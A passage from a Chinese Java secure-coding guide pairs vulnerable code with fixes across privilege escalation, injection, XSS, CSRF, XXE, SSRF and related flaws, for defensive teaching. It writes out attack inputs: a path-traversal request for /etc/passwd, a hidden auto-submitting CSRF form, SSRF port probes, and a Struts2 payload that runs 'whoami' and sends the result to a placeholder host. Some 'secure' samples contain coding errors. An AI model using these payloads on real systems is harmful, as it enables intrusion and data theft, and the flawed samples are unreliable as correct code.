HashMap<String, Object>(); if (WebUtils.isLogged()) { this.addressService.removeUserAddress(addrId); respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS); respMap.put(Constants.MESSAGE,"地址删除成功!"); }else{ respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL); respMap.put(Constants.ERROR,"用户没用登录,删除地址失败!"); } return respMap;}(3)合规方案水平越权漏洞的特征就是服务器端没有对提交数据的用户身份做校验,危害程度取决于提交数据是否有规律,因此,我们可通过两个方面来减小水平越权漏洞的危害:设计数据标识格式在设计数据库时,通常情况下,我们会将数据表主键设置为自增格式,这样在提交查询时,提交的数据就是有规律的,攻击者可通过遍历的方式来扩大危害程度,建议将自增格式设计为不可猜测格式。身份鉴别判断提交的数据是否属于当前登录用户。(4)安全编码示例: 设计数据标识格式:将数据标识的格式设定为UUID(通用唯一识别码)的格式,生成的UUID是由一个十六位的数字和字母的组合,表现形式如550E8400E29B11D4A716446655440000,可防止攻击者猜解数据ID来越权攻击public String getUUID(){ UUID uuid=UUID.randomUUID(); String str = uuid.toString(); String uuidStr=str.replace("-", ""); return uuidStr; }身份鉴别:@RequestMapping(value="/delete/{addrId}")public Object remove(@PathVariable Long addrId){ Map<String, Object> respMap = new HashMap<String, Object>(); if (WebUtils.isLogged()) { this.addressService.removeUserAddress(addrId,WebUtils.getLoggedUserId()); respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_SUCCESS); respMap.put(Constants.MESSAGE,"地址删除成功!"); }else{ respMap.put(Constants.RESP_STATUS_CODE_KEY, Constants.RESP_STATUS_CODE_FAIL); respMap.put(Constants.ERROR,"用户没用登录,删除地址失败!"); } return respMap;}垂直越权防范(1)风险概述垂直越权是一种URL的访问控制设计缺陷引起的漏洞,由于未对URL设定严格的用户访问控制策略,导致普通用户也可以通过发送请求的方式访问本应由高权限用户才可访问的页面。(2)缺陷编码示例:如下是一段删除用户操作的代码,若在操作时未对访问请求者的权限做判断,那么攻击者就可以构造请求“http://xxx.xxx.xxx/user/delete?id=1”来做只有管理员才有权限干的事情。@RequestMapping(value = "delete")public String delete(HttpServletRequest request, @RequestParam Long id) throws Exception { try { userManager.delete(id); request.setAttribute("msg", "删除用户成功"); } catch (ServiceException e) { // logger.error(e.getMessage(), e); request.setAttribute("msg", "删除用户失败"); } return list(request);}3)合规方案建议系统通过全局过滤器来检测用户是否登录、是否对资源具有访问权限。(4)安全编码示例:public class PrivilegeFilter implements Filter{ private Properties properties=new Properties(); @Override public void destroy(){properties=null;} @Override public void init(FilterConfig config) throws ServletException { //获取资源访问权限配置 String fileName=config.getInitParameter("privilegeFile"); String realPath=config.getServletContext().getRealPath(fileName); try { properties.load(new FileInputStream(realPath)); } catch(Exception e) { config.getServletContext().log("读取权限控制文件失败",e); } } @Override public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException { HttpServletRequest request=(HttpServletRequest)req; HttpServletResponse response=(HttpServletResponse)res; String requestUri=request.getRequestURI().replace(request.getContextPath()+"/", ""); String action=request.getParameter("action"); action=action==null?"":action; String uri=requestUri+"?action="+action; String role=(String)request.getSession().getAttribute("role"); role=role==null?"guest":role; boolean authen=false; for(Object obj:properties.keySet()) { String key=(String)obj; if(uri.matches(key.replace("?", "\\?").replace(".", "\\.").replace("*", ".*"))) { if(role.equals(properties.get(key))) { authen=true; break; } } } if(!authen) { throw new RuntimeException("您无权访问该页面,请以合适的身份登录后查看。"); } chain.doFilter(request, response); }}将权限访问规则存入privilege.properties文件中,如下所示:admin.do?action=* = administratorlist.do?action=add = adminlist.do?action=view = guest在web.xml中配置过滤器及权限:<filter> <filter-name>privilegeFilter</filter-name> <filter-class>com.filter.privilegeFilter</filter-class> <init-param> <param-name>privilegeFile</param-name> <param-value>/WEB-INF/privilege.properties</param-value> </init-param></filter>避免使用不够随机的数值(1)风险概述当使用的随机数生成算法不是安全的算法时,随机性无法得到保证。此时随机数可能被预测,依赖随机数实现的安全机制都可能产生问题,如防止重放攻击的token等。(2)缺陷编码示例:String GenerateReceiptURL(String baseUrl) { Random ranGen = new Random(); ranGen.setSeed((new Date()).getTime()); return(baseUrl + ranGen.nextInt(400000000) + ".html");}(3)安全编码示例:String GenerateReceiptURL(String baseUrl) { SecureRandom ranGen = SecureRandom.getInstance(DEF_RANDOM_ALGORITHM); ranGen.setSeed((new Date()).getTime()); return(baseUrl + ranGen.nextInt(400000000) + ".html");}输入输出验证上传文件安全性校验(1)风险概述文件上传功能允许用户将本地的文件通过Web页面提交到网站服务器上,如果不对用户上传的文件进行合法性验证,攻击者可利用Web应用系统文件上传功能(如文件上传、图像上传等)的代码缺陷来上传任意文件或者Webshell,并在服务器上运行,以达到获取Web应用系统控制权限或其他目的。(2)缺陷编码示例:如下是一段没有检查文件上传类型的代码,导致攻击者上传webshell脚本文件:protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {response.setContentType("text/html");PrintWriter out = response.getWriter();String contentType = request.getContentType();int ind = contentType.indexOf("boundary=");String boundary = contentType.substring(ind+9);String pLine = new String();String uploadLocation = new String(UPLOAD_DIRECTORY_STRING);// 判断contentType是否是multipart/form-dataif (contentType != null && contentType.indexOf("multipart/form-data") != -1) {// 从HttpHeader中提取文件名BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine = br.readLine();String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));...// 把文件输出到上传目录try {BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();}} //循环结束bw.close();} catch (IOException ex) {...}// output successful upload response HTML page}// output unsuccessful upload response HTML pageelse{...}}(3)合规方案文件类型验证检验上传文件的后缀名,根据需求设定允许上传文件类型白名单。检查文件头信息,判断文件类型。限制文件大小。在服务端进行安全检查,避免利用客户端传入的信息作为检查依据。文件存储安全上传文件保存在中间件不可解析的目录,如文件服务器。尽可能对上传文件重命名,如果不能做到这一点,应该保证上传的文件名不包括特殊字符,新建的目录应该保证目录名不包含特殊字符。防范路径遍历攻击(1)风险概述路径遍历,即利用路径回溯符“../”跳出程序本身的限制目录实现下载任意文件。例如Web应用源码目录、Web应用配置文件、敏感的系统文件(/etc/passwd、/etc/paswd)等。例如一个正常的Web功能请求:http://www.test.com/get-files.jsp?file=report.pdf如果Web应用存在路径遍历漏洞,则攻击者可以构造以下请求服务器敏感文件:http://www.test.com/get-files.jsp?file=../../../../../../../../../../../../etc/passwd(2)缺陷编码示例:以下是一段存在文件路径遍历缺陷的代码,服务端没有对传入的imgName参数进行合法性验证,而imgName参数值就是客户端请求下载的文件,攻击者通过控制imgName参数可以遍历服务器上的敏感文件:protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {try {byte data[] = new byte[1];//取得用户提交的图片文件名,没有检测是否为图片,也没有检测是否包含../../目录跳转的字符String imgName = request.getParameter("imgName");String imgKey = MD5Encrypt.MD5(imgName);//本地if (imageCache.containsKey(imgKey)) {data = (byte[]) imageCache.get(imgKey);} else {String imagePath = Consts.IMG_LOCAL_PAHT + imgName;//没有对该参数进行严格的验证和过滤,就拼接成完整的图片路径InputStream inputStream = null;File imageFile = new File(imagePath);logger.debug(imagePath + " " + imageFile.exists());if (imageFile.exists() && imageFile.isFile()) {inputStream = new FileInputStream(imagePath);int i = inputStream.available();data = new byte[i];inputStream.read(data);inputStream.close();imageCache.put(imgKey, data);} else {……}}//将文件内容输出到客户端response.setContentType("image/*");OutputStream outputStream = response.getOutputStream();outputStream.write(data);outputStream.close();}(3)合规解决方案要对用户请求数据进行控制。在文件存储时,设计文件路径映射关系,如文件ID和存储路径的映射关系,在用户请求下载文件时,在请求参数中携带文件ID,服务器端根据文件ID来获取映射的文件路径,然后将文件内容返回客户端;或在请求文件处直接给出文件路径的链接。安全编码示例:映射文件路径下载:protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException, IOException {try {ImageDao imgDao=new ImageDao();byte data[] = new byte[1];String imgID = request.getParameter("imgID");String imgName=imgDao.getImage(imgID);String imgKey = MD5Encrypt.MD5(imgName);//本地if (imageCache.containsKey(imgKey)) {data = (byte[]) imageCache.get(imgKey);} else {String imagePath = Consts.IMG_LOCAL_PAHT + imgName;//没有对该参数进行严格的验证和过滤,就拼接成完整的图片路径InputStream inputStream = null;File imageFile = new File(imagePath);logger.debug(imagePath + " " + imageFile.exists());if (imageFile.exists() && imageFile.isFile()) {inputStream = new FileInputStream(imagePath);int i = inputStream.available();data = new byte[i];inputStream.read(data);inputStream.close();imageCache.put(imgKey, data);} else {……}}response.setContentType("image/*");//将文件内容输出到客户端OutputStream outputStream = response.getOutputStream();outputStream.write(data);outputStream.close();}绝对路径下载:<a href=“http://xx.xx.xx.xx/upload/file1.jpg”>防范SQL注入(1)风险概述当应用程序将用户输入的内容,拼接到SQL语句中,一起提交给数据库执行时,就会产生SQL注入威胁。攻击者通过控制部分SQL语句,可以查询数据库中任何需要的数据,利用数据库的一些特性,甚至可以直接获取数据库服务器的系统权限。SQL漏洞发生的根本原因就是“用户可控的”未经净化的数据“拼接”进入SQL语句中,然后提交进入数据库获得执行结果。(2)缺陷编码示例:Servlet示例如下代码是根据用户名查询用户收支情况的一条数据库查询语句,存在SQL注入安全风险,其中user_name参数来自未经任何处理的HTTP请求:String query = "SELECT account_balance FROM user_data WHERE user_name = ‘" + request.getParameter("customerName")+"’"; try { Statement statement = connection.createStatement( … ); ResultSet results = statement.executeQuery( query );}攻击者通过控制http请求中的customerName参数值来对Web服务器进行SQL注入攻击。MyBatis示例MyBatis是一个数据持久层(ORM)框架,可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录。如下是一段MyBatis的查询语句,接收一个String类型的参数,并返回一个HashMap类型的对象。<select id="selectUsers" resultType="map"> select id, username, hashedPassword from some_table where id = ${id}</select>如果使用${}的格式,直接在 SQL 语句中插入用户输入的字符串,MyBatis不会对传入的数据进行转义处理,从而导致 SQL 注入攻击。(3)合规方案对传入的SQL语句的参数进行预处理,使得传入的数据不会再作为SQL语句的一部分被执行。参数化查询利用PreparedStatement对象的set方法给参数赋值。参数化查询强制要求给每个参数进行预处理,这种方式使得传入的参数值中的敏感字符被转义处理。输入合法性验证检查输入字符串中是否包含敏感的SQL字符,检查到非法字符后,可以对非法字符进行转义处理或者结束数据库查询并返回告警。(4)安全编码示例:Servlet合规编码:String custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setString( 1, custname);ResultSet results = pstmt.executeQuery( );MyBatis合规编码:<select id="selectUsers" resultType="map"> select id, username, hashedPassword from some_table where id = #{id}</select>输入合法性验证示例:String postid = request.getParameter("postid");if (postid != null){Statement stmt = con.createStatement();ResultSet rs = null;Codec MYSQL_CODEC = new MySQLCodec(Mode.STANDARD);String escapeParam = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, postid);String sql = "select * from posts where postid=" + escapeParam;rs = stmt.executeQuery(sql);if (rs != null && rs.next()){out.print("<b style='font-size:22px'>Title:" + rs.getString("title") + "</b>");out.print("<br/>- Posted By " + rs.getString("user"));out.print("<br/><br/>Content:<br/>" + rs.getString("content"));}}绿色代码是通过ESAPI提供的encodeForSQL方法来对输入的参数值进行处理。防范跨站脚本(1)风险概述跨站脚本攻击(Cross Site Script)是一种将恶意JavaScript代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览该页时,这些嵌入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如cookie窃取、帐户劫持、拒绝服务攻击等。跨站脚本攻击有以下攻击形式:反射型跨站脚本攻击攻击者利用社会工程学等手段,发送一个URL链接给用户打开,在用户打开页面的同时,浏览器会执行页面中嵌入的恶意脚本。存储型跨站脚本攻击攻击者利用应用程序提供的录入或修改数据的功能,将数据存储到服务器或用户cookie中,当其他用户浏览展示该数据的页面时,浏览器会执行页面中嵌入的恶意脚本,所有浏览者都会受到攻击。DOM跨站脚本攻击DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种XSS漏洞。DOM跨站脚本攻击和以上两个跨站脚本攻击的区别是,DOM跨站是纯页面脚本的输出,只有规范使用JavaScript,才可以防御。(2)缺陷编码示例:XSS漏洞发生的根本原因就是“用户可控的”未经净化的数据直接在HTML页面上展示,“用户可控数据”可能来源于http请求,或者数据库、Http Header、cookie等,将直接导致跨站脚本威胁。反射型XSS缺陷编码示例:<%out.print(request.getParameter("param")); %>在上面的代码中,直接将从请求参数中获取到的param参数值在页面中输出,可导致反射型XSS漏洞。存储性XSS缺陷编码示例:while(rs.next()){%><tr><td><%=rs.getInt("id") %></td><td><%=rs.getString("pname")%></td><td><%=rs.getString("pdesc")%></td><td><%=rs.getString("ptype")%></td></tr><%}代码中加粗的变量“rs.getInt("id")、rs.getString("pname")、rs.getString("pdesc")和rs.getString("ptype")”均为从数据库中读取到的数据,被直接输出到了页面中,没有做任何安全过滤,若从数据库中获取到的数据中包含JS/VBS脚本,就可能导致用户浏览器把JS/VBS脚本执行,从而造成XSS攻击。(3)合规方案对输出的数据进行编码输出,用来确保字符被视为数据,而不是作为代码被浏览器解析。安全编码示例:HTML实体/属性编码在HTML/XML中显示“用户可控数据”前,应该进行htmlescape。<div>#escapeHTML($user.name)</div><td>#escapeHTML($user.name)</td>所有HTML和XML中输出的数据,都应该做html escape转义。escapeHTML需要进行html转义应该按照以下列表进行转义&<>"'&<>"' JavaScript编码html转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。<script>alert('#escapeJavaScript($user.name)')</script><script>x='#escapeJavaScript($user.name)'</script><div onmouseover="x='#escapeJavaScript($user.name)'"</div>针对输出在script标签之间的数据,需要转义的字符有:/'"\\/\'\"\\ CSS编码在style内容中输出的“用户可控数据”,需要做CSS escape转义。String safe = ESAPI.encoder().encodeForCSS( request.getParameter("input"));AJAX输出编码XML输出“用户可控数据”时,对数据部分做HTML转义。<?xml version="1.0" encoding="UTF-8" ?><man><name>#xmlEscape($name)</name><man>JSON安全编码JSON输出时要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次JavasSript Escape。String cityname=”北京<B>”+StringUtil.htmlEscape(city.name)+”</B>”;String json ="citys:{city:['"+StringUtil.javascript(cityname) +"']}";Response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。response.setContentType("application/json");PrintWriter out = response.getWriter();out.println(StringUtil.htmlEscape(ajaxReturn));富文本安全过滤对输入的字符串进行富文本过滤,移除其中的恶意标签和脚本信息,保留安全的html标签,并在服务端进行校验。方法设计的步骤:若html为空或空串,返回null;限定输入html的最大长度;限定输入css的最大长度;识别高危标签、属性、事件。其中,恶意标签、属性、事件等控制应当生成黑白名单,并动态维护,保证安全机制的持续性。下面就是标签黑白名单设置,其中:accept:允许标签内容;remove:删除标签和子节点内容;undefined:删除标签但保留内容黑白名单如下:标签属性规则scriptallremovestylestylecss特殊处理headallremoveiframeallremoveframeallremoveframesetallremove标签黑名单表标签属性规则astyle、align、bgcolor、background、title、hrefaccepthrid、style、align、bgcolor、background、titleaccept页面标签白名单表标签属性规则h1id、style、align、bgcolor、background、titleaccepth2id、style、align、bgcolor、background、titleaccepth3id、style、align、bgcolor、background、titleaccepth4id、style、align、bgcolor、background、titleaccepth5id、style、align、bgcolor、background、titleaccepth6id、style、align、bgcolor、background、titleacceptfontalign、bgcolor、background、title、color、sizeemid、style、align、bgcolor、background、titleaccept字体标签白名单表标签属性规则marqueestyle、align、bgcolor、background、titleaccept动态文字标签白名单表标签属性规则bgsoundsrc、loop、autostartacceptblockquoteid、style、align、bgcolor、background、titleaccept多媒体处理标签白名单表防范跨站请求伪造攻击(CSRF)(1)风险概述跨站请求伪造(CSRF)是一种劫持被攻击者浏览器发送HTTP请求到目标网站触发某种操作的漏洞。跨站请求伪造漏洞利用的是浏览器的cookie传递机制,当用户登录了A网站,然后用户通过浏览器的选项卡打开了B网站,当B网站发起对A网站的请求时,A网站就会正常执行该请求。通过跨站请求伪造漏洞,攻击者可以劫持受害者,执行目标网站允许的各种敏感操作,如修改个人信息等。CSRF是一种依赖web浏览器的、被混淆过的代理人攻击(deputy attack),通常具有如下特性:依靠用户标识危害Web应用;利用网站对用户标识的信任,欺骗用户的浏览器发送HTTP请求给目标站点;危害程度取决于登陆者的权限。(2)缺陷编码示例:跨站请求伪造漏洞利用的是浏览器的cookie传递机制,多窗口浏览器启动的进程只有一个,各窗口的会话也是通用的。即B站点窗口发送请求到A站点也会携带上A站点的cookie。如下是一段更新个人信息的代码,存在CSRF漏洞。int userid=Integer.valueOf(request.getSession().getAttribute("userid").toString());String email=request.getParameter("email");String tel=request.getParameter("password");String realname=request.getParameter("realname");Object[] params = new Object[4];params[0] = email;params[1] = password;params[2] = realname;params[3] = userid;final String sql = "update user set email=?,password=?,realname=? where userid=?";conn.execUpdate(sql,params);在代码中,从session中获取userid的信息,然后根据userid来更新用户的信息。攻击者可在恶意站点中构造如下表单,诱使登陆者点击。<script> document.form1.submit();</script><div style="display:'none'"><form name="form1" action="http://A.com/modify.jsp" method="POST"><input name="email" value="test@test.com"><input name="password" value="test"><input name="realname" value="test"><input type="submit"></form></div>(3)合规方案验证Refer在浏览器发送请求时,在HTTP请求头部会携带请求来源的信息,即http refer。我们可以通过设置全局过滤器,来校验所有请求的refer信息,判断refer是否来源于可信站点。但是,校验refer的方式只能防御跨站的CSRF攻击,并不能防御同站的CSRF攻击。CSRF Token新建CSRF Token添加进用户每次登陆并存储在http session里,这种令牌至少对每个用户会话来说应该是唯一的,或者是对每个请求是唯一的。在客户端向服务器端发起请求时,将Token作为一个参数或者字段发送到服务器端。服务器端检查提交的Token与用户会话对象的Token是否匹配。安全编码示例: 验证Refer:// 从 HTTP 头中取得 Referer 值String referer=request.getHeader("Referer");// 判断 Referer 是否以 bank.example 开头if((referer!=null) &&(referer.trim().startsWith(“bank.example”))){ chain.doFilter(request, response);}else{request.getRequestDispatcher(“error.jsp”).forward(request,response);}添加Token:如下代码是使用Filter的方式校验csrf token的,首先判断 session 中有没有 csrftoken,如果没有,则认为是第一次访问,session 是新建立的,这时生成一个新的 token,放于 session 之中,并继续执行请求。如果 session 中已经有 csrftoken,则说明用户已经与服务器之间建立了一个活跃的 session,这时要看这个请求中有没有同时附带这个 token,由于请求可能来自于常规的访问或是 XMLHttpRequest 异步访问,我们分别尝试从请求中获取 csrftoken 参数以及从 HTTP 头中获取 csrftoken 自定义属性并与 session 中的值进行比较,只要有一个地方带有有效 token,就判定请求合法,可以继续执行,否则就转到错误页面。生成 token 有很多种方法,任何的随机算法都可以使用,Java 的 UUID 类也是一个不错的选择。HttpServletRequest req = (HttpServletRequest)request;HttpSession s = req.getSession();// 从 session 中得到 csrftoken 属性String sToken = (String)s.getAttribute(“csrftoken”);if(sToken == null){ // 产生新的 token 放入 session 中 sToken = generateToken(); s.setAttribute(“csrftoken”,sToken); chain.doFilter(request, response);} else{ // 从 HTTP 头中取得 csrftoken String xhrToken = req.getHeader(“csrftoken”); // 从请求参数中取得 csrftoken String pToken = req.getParameter(“csrftoken”); if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ chain.doFilter(request, response); }else if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{request.getRequestDispatcher(“error.jsp”).forward(request,response); } }防范XPath注入攻击(1)风险概述与SQL注入类似,XPATH注入发生在当网站使用用户提供的信息查询XML数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。(2)缺陷编码示例:利用XPath 解析器的松散输入和容错特性,攻击者能够在URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException{String userName=request.getParameter("username");String password=request.getParameter("userpass");DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance();domFactory.setNamespaceAware(true);DocumentBuilder builder=domFactory.newDocumentBuilder();Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml");XPathFactory factory=XPathFactory.newInstance();XPath xPath=factory.newXPath();XPathExpression expression=xPath.compile("//users/user[username/text()='"+userName+"' and password/text()='"+password+"']");Object result=expression.evaluate(doc, XPathConstants.NODESET);NodeList nodes=(NodeList)result;return (nodes.getLength()>=1);}上述代码就是使用拼接的方式将用户名和密码拼接进入XPath语句中,可导致XPath注入。(3)合规方案在服务器端构造XPath查询语句之前,对提交的数据进行合法性校验,对特殊字符进行编码转换或替换等操作。(4)安全编码示例:XQuery 参数化查询:利用XQuery接口模拟SQL参数化查询,首先创建参数化查询文件,XQuery支持将查询语句写入运行时环境中的一个单独文件中。如:declare variable $username as xs:string extenal;declare variable $password as xs:string extenal;//users/user[@username=$username and @password=$password]在程序处理过程中调用XQuery,并传入参数。private boolean doLogin(HttpServletRequest request) throws ParserConfigurationException, SAXException, IOException, XPathExpressionException{String userName=request.getParameter("username");String password=request.getParameter("userpass");DocumentBuilderFactory domFactory=DocumentBuilderFactory.newInstance();domFactory.setNamespaceAware(true);DocumentBuilder builder=domFactory.newDocumentBuilder();Document doc=builder.parse(request.getRealPath("WEB-INF")+"/users.xml");XQuery xquery=new XQueryFactory().createXQuery(new File(request.getRealPath("WEB-INF")+"/login.xq"));Map queryMap=new HashMap();queryMap.put("username",userName);queryMap.put("password", password);NodeList nodes=xquery.execute(doc,null,queryMap).toNodes();NodeList nodes=(NodeList)result;return (nodes.getLength()>=1);}提交参数处理使用ESAPI提供的encodeForXPath方法对数据进行处理。ESAPI.encoder().encodeForXPath($userInput$); 防范XML外部实体注入攻击(XXE)(1)风险概述XXE(XML External Entity Injection)是一种针对XML终端实施的攻击,其产生的根本原因就是在XML1.0标准中引入了“entity”这个概念,且“entity”可以在预定义的文档中进行调用,XXE漏洞的利用就是通过实体的标识符访问本地或者远程内容。黑客想要实施这种攻击,需要在XML的payload包含外部实体声明,且服务器本身允许实体扩展。这样黑客或许能读取WEB服务器的文件系统,通过UNC路径访问远程文件系统,或者通过HTTP/HTTPS连接到任意主机。(2)缺陷编码示例:XXE漏洞发生于XML解析的过程中,若解析过程中没有限制doctype、entity等节点实体的解析,就会产生XML外部实体解析漏洞:InputStream xml=request.getInputStream();DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();DocumentBuilder builder = factory.newDocumentBuilder();InputSource is = new InputSource(xml);Document doc = builder.parse(is);Element element = doc.getDocumentElement();NodeList nodes = element.getChildNodes();out.print("<br/>Result:<br/>");out.print("---------------------<br/>");for (int i = 0; i < nodes.getLength(); i++) {out.print(nodes.item(i).getNodeName()+" : " + nodes.item(i).getFirstChild().getNodeValue().toString()); out.print("<br/>");}(3)合规方案XXE漏洞产生的根本原因在于解析了“entity”,因此,在解析XML数据时,限制DTDs(doctypes)参数的解析即可。(4)安全编码示例:DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();try { // 这是优先选择. 如果不允许DTDs (doctypes) ,几乎可以阻止所有的XML实体攻击 String FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; dbf.setFeature(FEATURE, true);}catch (ParserConfigurationException e) { // This should catch a failed setFeature feature ...}catch (SAXException e) { // On Apache, this should be thrown when disallowing DOCTYPE ...}catch (IOException e) { // XXE that points to a file that doesn't exist ...}如果不能完全禁用DTDs,最少采取以下措施:featureString="http://xml.org/sax/features/external-general-entities";factory.setFeature(featureString, false);featureString="http://xml.org/sax/features/external-parameter-entities";factory.setFeature(featureString, false);featureString="http://apache.org/xml/features/nonvalidating/load-external-dtd";factory.setFeature(featureString, false);StAX(Streaming API for XML) 就是一种拉分析式的XML解析技术(基于流模型中拉模型的分析方式就称为拉分析)。StAX包括两套处理XML的API,分别提供了不同程度的抽象。StAX防护XXE攻击方案:XMLInputFactory factory = XMLInputFactory.newInstance();factory.setProperty(XMLInputFactory.SUPPORT_DTD, false); //会完全禁止DTDXMLStreamReader reader = factory.createXMLStreamReader(new FileReader("users.xml"));防范服务端请求伪造攻击(1)风险概述服务端请求伪造攻击(SSRF)也称跨站点端口攻击,是由于一些应用在向第三方主机请求资源时提供了URL并通过传递的URL来获取资源引起的,当这种功能没有对协议、内外网访问做好限制时,攻击者可利用这种缺陷来获取内网敏感数据、DOS内网服务器、读文件甚至于可获取内网服务器控制权限等。(2)缺陷编码示例:String url = request.getParameter("url");if(url!=null&&url.length()>0){URL u = new URL(url);URLConnection urlConn = u.openConnection(); int length = urlConn.getContentLength(); if (length > 0) { InputStream input = urlConn.getInputStream(); int i = length; int c; while ((c = input.read()) != -1 && --i > 0) { out.print((char) c); } input.close(); } else { out.println("No Content."); }}else{out.println("xxxxxxxxxx");}通过SSRF攻击,可以实现对内网的访问,从而可以攻击内网或者本地机器,获得shell等。当提交如下请求时,就可对远程服务器中的内网存活主机端口进行探测。ssrf.jsp? url=http://{IP}:8080/dir/images/ssrf.jsp? url=http://{IP}:22/dir/public/image.jpgssrf.jsp? url=http://{IP}:3306/dir/images/当内网系统存在struts2远程代码执行漏洞时,我们可以通过提交如下请求来获取内网主机的控制权限。ssrf.jsp? url=http://{IP}/login.action?redirect:$%7Bnew%20java.net.URL('http://{IP}:{port}/test.jsp?'%2Bnew%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder(%7B'whoami'%7D).start().getInputStream())).readLine()).openConnection().getInputStream()%7D(3)合规方案应在服务器端对请求的URL进行限制。服务器端维护一个资源请求列表的映射关系,服务器端根据客户端提交的请求参数从映射关系中获取实际请求的资源。(4)安全编码示例:String urlParam = request.getParameter("urlparam");if(urlParam!=null&& urlParam.length()>0){ String url=urlDao.getRequestURL(urlParam);URL u = new URL(url);URLConnection urlConn = u.openConnection(); int length = urlConn.getContentLength(); if (length > 0) { InputStream input = urlConn.getInputStream(); int i = length; int c; while ((c = input.read()) != -1 && --i > 0) { out.print((char) c); } input.close(); } else { out.println("No Content."); }}else{out.println("xxxxxxxxxx");}防范命令注入(1)风险概述如果允许用户通过输入来指定应用程序所执行的系统命令,攻击者就能够在系统中执行他们想要的恶意命令。(2)缺陷编码示例:String btype = request.getParameter(“backuptype”);String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””)Runtime.getRuntime.exec(cmd);合规方案防范此类攻击的方法是对用户提交的数据进行安全检查。安全编码示例:final static int MAXNAME = 50;final static String FILE_REGEX = “[a-zA-Z]{1,"+MAXNAME+"};final static Pattern BACKUP_PATTERN = Pattern.compile(FILE_REGEX);public void validateBackupName(String backupname){ if(backupname == null || !BACKUP_PATTERN.matcher(backupname).matches()){ throw new ValidationException(illegal backupname"); }}......String btype = validateBackupName(request.getParamter("backuptype"));String cmd = new String(“cmd.exe /K \”c:\\util\\rmanDB.bat” + btype + “&&c:\\util\\cleanup.bat\””)Runtime.getRuntime.exec(cmd);防范代码注入(1)风险概述代码注入往往是由于在使用一些不安全的函数或者方法时,将用户的输入被当做系统代码来执行,从而达到远程命令执行的效果,该类漏洞若被利用则会对程序逻辑造成较大破坏。(2)缺陷编码示例:public Object risk(HttpServletRequest request ,org.apache.log4j.Logger logger) { Object obj = null; try { String className = request.getParameter("className"); obj = Class.forName(className).newInstance(); } catch (InstantiationException e) { logger.warn(“Exception1”, e); } catch (IllegalAccessException e) { logger.warn(“Exception2”, e); } catch (ClassNotFoundException e) { logger.warn(“Exception3”, e); } return obj;}(3)合规方案程序外来数据不可用作代码、反射使用;使用内部封装的ClassLoader进行沙箱化处理。(4)安全编码示例:public Object fix(HttpServletRequest request,Map<String, Class<?>> whiteList ,org.apache.log4j.Logger logger) { Object obj = null; try { String className = request.getParameter("className"); if (whiteList.containsKey(className)) { obj = whiteList.get(className).newInstance(); } } catch (InstantiationException e) { logger.warn(“Exception1”, e); } catch (IllegalAccessException e) { logger.warn(“Exception2”, e); } return obj;}防范HTTP响应分割(1)风险概述将未经验证的数据写入HTTP Header会使攻击者得以指定由浏览器提交的所有HTTP Response。当HTTP request中包含有意外CR(回车,由%0d或\r提供)和LF(换行,由%0a或\n提供)字符时,就会出现HTTP响应分裂的情况。服务器可能以被解释为两种不同的HTTP响应输出流(而不是一个)来进行回应。攻击者可以控制的第二个回应,从而发动攻击,如跨站脚本和缓存中毒攻击。在下列情况下,会出现HTTP响应分裂:数据通过不受信任的来源进入到Web应用程序中,最常见的为HTTP request。没有经过验证是否存在恶意字符,数据被包含HTTP回应标题中发送给Web用户。(2)缺陷编码示例:public void risk(HttpServletRequest request, HttpServletResponse response) { String key = request.getParameter("key"); String value = request.getParameter("value"); response.setHeader(key, value);}合规解决方案从用户请求报文中获取到的数据(包括请求参数、http header中的数据、cookie以及从接口中获取到的数据),若需写入http响应报文头部区域中,应移除\r和\n字符,防止http响应分割攻击对用户造成影响。安全编码示例:public void fix(HttpServletRequest request, HttpServletResponse response) { String key = request.getParameter("key"); String value = request.getParameter("value"); key = key.replace("\r", ""); key = key.replace("\n", ""); value = value.replace("\r", ""); value = value.replace("\n", ""); response.setHeader(key, 